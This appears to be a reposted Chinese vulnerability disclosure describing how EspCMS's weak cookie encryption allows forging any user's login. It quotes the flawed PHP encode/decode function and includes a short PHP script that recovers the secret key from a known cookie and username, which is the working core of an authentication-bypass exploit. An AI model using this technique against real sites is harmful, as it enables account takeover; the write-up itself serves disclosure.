Cookie加密算法被破解导致Cookie安全机制失效

EspCMS最新版可伪造任意帐户登陆(简单利用代码)

http://www.wooyun.org/bugs/wooyun-2010-053577

漏洞成因:ESPCMS的Cookie加密是采用ps_code变换方式得到的,其本身自带解密函数; 通过ps_code变换的因素是:用户名,位置 因此可以通过注册一个较长的用户名解方程组即可得到ps_code 得到ps_code之后便可以任意伪造Cookie 之后分析Cookie发现,用户是否登录的验证只是对Cookie中的登陆信息进行了验证,因此基于Cookie不可被伪造的安全机制被攻破,导致可任意伪造用户登陆。

该Cookie解密漏洞在最新版中依然存在!

cookie加密算法,/public/class_function.php,144-170行

function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) {

		$result = null;

		if ($operation == 'ENCODE') {

			for ($i = 0; $i < strlen($string); $i++) {

				$char = substr($string, $i, 1);

				$keychar = substr($key, ($i % strlen($key)) - 1, 1);

				$char = chr(ord($char) + ord($keychar));

				$result.=$char;

			}

			$result = base64_encode($result);

			$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);

		} elseif ($operation == 'DECODE') {

			$data = str_replace(array('-', '_'), array('+', '/'), $string);

			$mod4 = strlen($data) % 4;

			if ($mod4) {

				$data .= substr('====', $mod4);

			}

			$string = base64_decode($data);

			for ($i = 0; $i < strlen($string); $i++) {

				$char = substr($string, $i, 1);

				$keychar = substr($key, ($i % strlen($key)) - 1, 1);

				$char = chr(ord($char) - ord($keychar));

				$result.=$char;

			}

		}

		return $result;

	}

简单写了个计算db_pscode的,写的比较菜~

<?php 

                $string = "lmlilJRmY5RiZpdql2KV";

                $username = "111111111111111";

                $result = "";

                $mod4 = strlen($string) % 4;

                if ($mod4) {

                        $string .= substr('====', $mod4);

                }

                $de_string = base64_decode($string);

                for($i=0;$i<strlen($username);$i++){

                        $char = chr(ord($de_string[$i+1]) - ord($username[$i]));

                        $result .= $char;

                }

                echo "code=".$result;

?>